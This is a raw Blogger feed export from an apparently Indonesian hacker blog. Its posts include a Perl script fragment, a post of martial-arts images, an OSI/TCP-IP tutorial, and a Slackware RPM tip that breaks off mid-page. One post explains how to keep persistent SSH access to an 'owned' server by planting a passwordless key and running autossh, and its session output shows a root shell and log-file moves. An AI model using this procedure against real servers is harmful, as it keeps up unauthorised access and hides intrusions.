/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;sub str_replace {&lt;br /&gt;eval&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;my $replace_this = shift;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $with_this&amp;nbsp; = shift;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $string&amp;nbsp;&amp;nbsp; = shift;&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $length = length($string);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $target = length($replace_this);&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(my $i=0; $i&amp;lt;$length - $target + 1; $i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(substr($string,$i,$target) eq $replace_this) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $string = substr($string,0,$i) . $with_this . substr($string,$i+$target);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return $string; #Comment this if you what a global replace&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return $string;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;getdomains();&lt;br /&gt;&amp;nbsp;autoresolve();&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-7159626434745629188?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/7159626434745629188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/7159626434745629188'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/getnamedautoresolvepl.html' title='getnamedautoresolve.pl'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-6140878256456145626</id><published>2012-02-28T15:40:00.001-08:00</published><updated>2012-02-28T15:43:51.430-08:00</updated><title type='text'>[the spirit of the dare devil] - martial art is an art of self defense</title><content type='html'>as my master always teach me to defend my self i will never let my self without any defense. &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-3l98IYzGVWQ/T01lg3UeqCI/AAAAAAAAA7E/EsdWCyaxRFY/s1600/evils.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-3l98IYzGVWQ/T01lg3UeqCI/AAAAAAAAA7E/EsdWCyaxRFY/s1600/evils.jpg" width="700" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-kn6B5VMAvUM/T01lLPRnp_I/AAAAAAAAA64/8iX9-RIXKPk/s1600/nunchaku.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-kn6B5VMAvUM/T01lLPRnp_I/AAAAAAAAA64/8iX9-RIXKPk/s1600/nunchaku.jpg" width="700" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-6140878256456145626?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6140878256456145626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6140878256456145626'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/martial-art-is-art-of-self-defense.html' title='[the spirit of the dare devil] - martial art is an art of self defense'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-3l98IYzGVWQ/T01lg3UeqCI/AAAAAAAAA7E/EsdWCyaxRFY/s72-c/evils.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-6642004081547887818</id><published>2012-02-28T02:29:00.000-08:00</published><updated>2012-02-28T02:29:04.297-08:00</updated><title type='text'>Model 7 layer osi vs Model TCP / IP</title><content type='html'>written by: ev1lut10n&lt;br /&gt;&lt;br /&gt;"Dedicated for : Manusia Biasa Team"&lt;br /&gt;&lt;br /&gt;Dalam dunia jaringan ada dua model jaringan yang telah melegenda yaitu: "Model 7 Layer OSI" dan "Model TCP/IP"&lt;br /&gt;&lt;br /&gt;[Model 7 Layer OSI]&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-VVCZ_mmQ3IE/T0yr2Pwd2xI/AAAAAAAAA6g/jJ_prFefun4/s1600/osi.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/-VVCZ_mmQ3IE/T0yr2Pwd2xI/AAAAAAAAA6g/jJ_prFefun4/s320/osi.jpg" width="276" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Layer 7 OSI dikembangkan oleh Organisasi Internasional untuk Standarisasi (ISO), model jaringan ini merupakan sistem yang terdiri dari 7 kue lapis:&lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------------------------&lt;br /&gt;layer 7 : application layer,  Lapisan 7: lapisan aplikasi&lt;br /&gt;layer ini paling depan berinteraksi dg user untuk mendefinisikan proses user dengan network.&lt;br /&gt;contoh tcp / ip protokol pada layer ini: FTP, Gopher, HTTP,  SMTP,  Telnet , dns , dll&lt;br /&gt;-------------------------------------------------------------------------------------&lt;br /&gt;layer 6 : presentation layer,  Lapisan 6: lapisan presentasi, &lt;br /&gt;layer ini merupakan tempatnya data dienkode / dienkrip , misal pada layer inilah dilakukan encode untuk file2 seperti jpg, mpg, dll. misal enkode untuk file teks akan berbeda dengan file mpg&lt;br /&gt;contoh : ssl, smb , ncp, mime, tls&lt;br /&gt;-------------------------------------------------------------------------------------&lt;br /&gt;- layer 5 : session layer, Lapisan 5: lapisan sesi, &lt;br /&gt;pada layer inilah tempatnya user session diatur.&lt;br /&gt;contoh: pptp, netbios&lt;br /&gt;-------------------------------------------------------------------------------------&lt;br /&gt;- layer 4 : transport layer, ex : tcp,udp,sctp, dccp - Lapisan 4: transport layer (internetwork connectivity)&lt;br /&gt;layer ini mendefinisikan bagaimana sistem atau mekanisme kontrol data / paket &lt;br /&gt;contoh: tcp, udp, SCTP (stream control transmission protocol)&lt;br /&gt;-------------------------------------------------------------------------------------&lt;br /&gt;- layer 3 : network layer,ex : ip , icmp, igmp - Lapisan 3: lapisan jaringan (internetwork connectivity)&lt;br /&gt;di layer ini akan ditentukan bagaimana paket akan dirutekan&lt;br /&gt;contoh: IP, ICMP, IGMP, ipsec, ospf&lt;br /&gt;-------------------------------------------------------------------------------------&lt;br /&gt;- layer 2 : data link layer, ex: arp, atm - Lapisan 2: data link layer&lt;br /&gt;di layer ini alamat ip akan ditranslasikan menjadi bentuk yang bisa dimengerti oleh physical layer&lt;br /&gt;contoh: arp, atm, llc, PPP, SBTV SLIP, PPTP&lt;br /&gt;-------------------------------------------------------------------------------------&lt;br /&gt;- layer 1 : physical layer. - Lapisan 1: lapisan fisik.&lt;br /&gt;Di sinilah bentuk fisik dari perangkat jaringan.&lt;br /&gt;misal: kartu jaringan , hub , dll&lt;br /&gt;&lt;br /&gt;sebenarnya masing 2 layer memiliki fungsi2 lebih dari yang dijelaskan di atas tapi utk mempermudah bahasan hanya akan saya singkat seperti di atas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[Model TCP / IP]&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-8KtTzf1Bi28/T0ysGzAZAAI/AAAAAAAAA6o/d7Wn5l2-__8/s1600/tcpip.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-8KtTzf1Bi28/T0ysGzAZAAI/AAAAAAAAA6o/d7Wn5l2-__8/s1600/tcpip.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Model tcp / ip memiliki 4 lapisan :&lt;br /&gt;- Application Layer&lt;br /&gt;- Transport Layer&lt;br /&gt;- Internet Layer&lt;br /&gt;- Network Access Layer&lt;br /&gt;&lt;br /&gt;[Kapsul Enkapsulasi]&lt;br /&gt;&lt;br /&gt;proses pengkapsulan dalam model jaringan bisa kita sebut sbg proses penambahan header tiap kali data / paket naik 1 layer.&lt;br /&gt;&lt;br /&gt;Untuk lebih jelasnya tentang enkapsulasi paket perhatikan gambar dibawah ini:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-35GJfjXPUt4/T0ysMyP3NWI/AAAAAAAAA6w/qzVoXQ9R6Aw/s1600/kapsul.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-35GJfjXPUt4/T0ysMyP3NWI/AAAAAAAAA6w/qzVoXQ9R6Aw/s1600/kapsul.jpg" width="620" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;misal untuk suatu koneksi tcp:&lt;br /&gt;- pada layer 7 dan layer ke 6 merupakan proses konversi data dari user &lt;br /&gt;- dari session layer setelah turun 1 layer ke bawah yaitu di transport layer akan ditambahkan header tcp&lt;br /&gt;- setelah itu data yang turun 1 layer lagi ke bawah, ketika di berada di network layer dia akan ditambahkan ip header.&lt;br /&gt;- turun 1 layer lagi ke bawah tepatnya di data link layer akan ditambahkan header2 berupa :&lt;br /&gt;MAC header, LLC Header dan FCS&lt;br /&gt;- Turun 1 layer lagi data dikonversi ke dalam bentuk biner menjadi bentuk yang bisa dimengerti oleh physical layer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-6642004081547887818?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6642004081547887818'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6642004081547887818'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/model-7-layer-osi-vs-model-tcp-ip.html' title='Model 7 layer osi vs Model TCP / IP'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-VVCZ_mmQ3IE/T0yr2Pwd2xI/AAAAAAAAA6g/jJ_prFefun4/s72-c/osi.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-547239264101599664</id><published>2012-02-27T19:57:00.000-08:00</published><updated>2012-02-27T19:57:39.935-08:00</updated><title type='text'>[Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server yang diowned]</title><content type='html'>[Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server yang diowned]&lt;br /&gt;by: ev1ut10n&lt;br /&gt;&lt;br /&gt;Dedicated to: "Manusia Biasa Team"&lt;br /&gt;thanks to: devilzc0de, antijasakom , manusia biasa team and jasakom and all my bro and sista&lt;br /&gt;&lt;br /&gt;install skrip autossh untuk mesin debian:&lt;br /&gt;=================&lt;br /&gt;#apt-get install autossh&lt;br /&gt;================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;jika berhasil maka akan tercipta skrip shell autossh biasanya di /usr/bin/:&lt;br /&gt;======&lt;br /&gt;#!/bin/sh&lt;br /&gt;# little wrapper to choose a random port for autossh, falling back to $fallback_port&lt;br /&gt;&lt;br /&gt;fallback_port="21021"&lt;br /&gt;tcpstat="/proc/net/tcp" &lt;br /&gt;&lt;br /&gt;# take an hex port and check whether it is in use (i.e. locally bound) in&lt;br /&gt;# $tcpstat&lt;br /&gt;# unix command semantics: if in use return 0 else return 1&lt;br /&gt;port_in_use() {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if egrep -q "^[0-9 ]+: [0-9A-F]{8}:$1" $tcpstat ; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fi&lt;br /&gt;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;echo "$@" | egrep -q -- '-f?M ?[0-9]+' # backward compatibility, skip guess if -M is passed&lt;br /&gt;&lt;br /&gt;if [ $? -gt 0 ] &amp;amp;&amp;amp; [ -z "$AUTOSSH_PORT" ]; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; portguess=""&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if [ -r "/dev/urandom" ] &amp;amp;&amp;amp; [ -r "$tcpstat" ]; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; for t in $(seq 1 42); do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; # get a random hex&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; randport=$( od -x -N2 -An /dev/urandom | tr -d ' ' )&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; # increase it a little "bit"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; randport=$( /usr/bin/printf "%04x" $(( 0x$randport | 0x8000 )) )&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; randport_1=$( /usr/bin/printf "%04x" $(( 0x$randport + 1 )) )&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; # check if port is in use, possibile race condition between here&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; # and the exec &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if ! port_in_use $randport &amp;amp;&amp;amp; ! port_in_use $randport_1; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; portguess=$(( 0x$randport ))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; break&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fi&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; done&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fi&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if [ -z "$portguess" ]; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fallback=$( /usr/bin/printf "%04x" $fallback_port )&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fallback_1=$( /usr/bin/printf "%04x" $(( 0x$fallback + 1 )) )&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if ! port_in_use $fallback &amp;amp;&amp;amp; ! port_in_use $fallback_1; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; portguess=$fallback_port&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; echo "unable to find a suitable tunnel port"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exit 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fi&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fi&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; export AUTOSSH_PORT="$portguess"&lt;br /&gt;fi&lt;br /&gt;====================&lt;br /&gt;&lt;br /&gt;selanjutnya siapkan public key ssh ( tanpa password )&lt;br /&gt;===================================&lt;br /&gt;root@ev1lut10n-Vostro1310:/home/ev1lut10n# ssh-keygen -t rsa&lt;br /&gt;Generating public/private rsa key pair.&lt;br /&gt;Enter file in which to save the key (/root/.ssh/id_rsa): &lt;br /&gt;Enter passphrase (empty for no passphrase): &lt;br /&gt;Enter same passphrase again: &lt;br /&gt;Your identification has been saved in /root/.ssh/id_rsa.&lt;br /&gt;Your public key has been saved in /root/.ssh/id_rsa.pub.&lt;br /&gt;The key fingerprint is:&lt;br /&gt;90:94:b1:22:20:69:cc:99:fa:dd:68:ab:9e:3b:9b:01 root@ev1lut10n-Vostro1310&lt;br /&gt;The key's randomart image is:&lt;br /&gt;+--[ RSA 2048]----+&lt;br /&gt;|=.o&amp;nbsp;&amp;nbsp; oo&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;|oB&amp;nbsp;&amp;nbsp; ..o&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;|o . . +&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;|.&amp;nbsp; . . .&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;|E. . o&amp;nbsp; S&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;| .. + .&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;|&amp;nbsp; .. .&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;|&amp;nbsp; .+.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;| .B=&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;+-----------------+&lt;br /&gt;&lt;br /&gt;========================&lt;br /&gt;&lt;br /&gt;setelah itu lakukan copy public key tadi ke server yang di0wn3d (di sini port ssh non default yaitud 5669):&lt;br /&gt;=======&lt;br /&gt;root@ev1lut10n-Vostro1310:/home/ev1lut10n# ssh-copy-id -i /root/.ssh/id_rsa.pub "clamav@hackerbox.org -p 5669"&lt;br /&gt;clamav@81.15.18.2's password: &lt;br /&gt;Now try logging into the machine, with "ssh 'clamav@hackerbox.org -p 5669'", and check in:&lt;br /&gt;&lt;br /&gt;&amp;nbsp; .ssh/authorized_keys&lt;br /&gt;&lt;br /&gt;to make sure we haven't added extra keys that you weren't expecting.&lt;br /&gt;=======&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;selanjutnya kita bisa gunakan autossh:&lt;br /&gt;================&lt;br /&gt;root@ev1lut10n-Vostro1310:/home/ev1lut10n# autossh -M 3339 clamav@hackerbox.org -p 5669&lt;br /&gt;Welcome to motd of hackerbox.org &lt;br /&gt;Last login: Tue Feb 28 03:34:49 2012 from 112.215.65.196&lt;br /&gt;mv: cannot stat `secure.hm': No such file or directory&lt;br /&gt;mv: cannot stat `xferlog.hm': No such file or directory&lt;br /&gt;mv: cannot stat `maillog.hm': No such file or directory&lt;br /&gt;mv: cannot stat `warn.hm': No such file or directory&lt;br /&gt;mv: cannot stat `mail.hm': No such file or directory&lt;br /&gt;mv: cannot stat `httpda.hm': No such file or directory&lt;br /&gt;mv: cannot stat `httpde.hm': No such file or directory&lt;br /&gt;sh-3.2# &lt;br /&gt;===============&lt;br /&gt;&lt;br /&gt;ok mungkin anda bertanya2 mengapa teknik ini digunakan?&lt;br /&gt;jawabanya check it out:&lt;br /&gt;&lt;br /&gt;========================&lt;br /&gt;root@ev1lut10n-Vostro1310:~# netstat -a | grep 3339&lt;br /&gt;tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 localhost.localdom:3339 *:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;tcp6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 ev1lut10n-Vostro13:3339 [::]:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;=========================&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-547239264101599664?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/547239264101599664'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/547239264101599664'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/persisten-ssh-dengan-skrip-autossh-dan.html' title='[Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server yang diowned]'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-389835650653596505</id><published>2012-02-27T18:37:00.001-08:00</published><updated>2012-02-27T18:43:43.216-08:00</updated><title type='text'>Ekstrak rpm di slackware 13.37 dengan cpio</title><content type='html'>[Ekstrak rpm di slackware 13.37 dengan cpio]&lt;br /&gt;&lt;br /&gt;by: ev1lut10n&lt;br /&gt;dedicated to : "Manusia biasa Team"&lt;br /&gt;thanks to: devilzc0de, antijasakom , manusia biasa team and jasakom and all my buddy&lt;br /&gt;&lt;br /&gt;slackware 13.37 merupakan versi slackware favorit penulis. oleh karena itu judul tulisan kali ini berhubungan dengan slackware versi 13.37&lt;br /&gt;&lt;br /&gt;untuk mengekstrak rpm di slackware 13.37 diperlukan cpio-2.11&lt;br /&gt;&lt;br /&gt;cpio-2.11-i486-1.txz bisa dicari di pkgs.org&lt;br /&gt;&lt;br /&gt;lalu install dengan installpkg:&lt;br /&gt;======================&lt;br /&gt;root@server:~/elf# installpkg cpio-2.11-i486-1.txz&lt;br /&gt;======================&lt;br /&gt;&lt;br /&gt;------------------------------&lt;br /&gt;root@server:~/elf# man cpio&lt;br /&gt;WARNING: terminal is not fully functional&lt;br /&gt;CPIO(1L)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp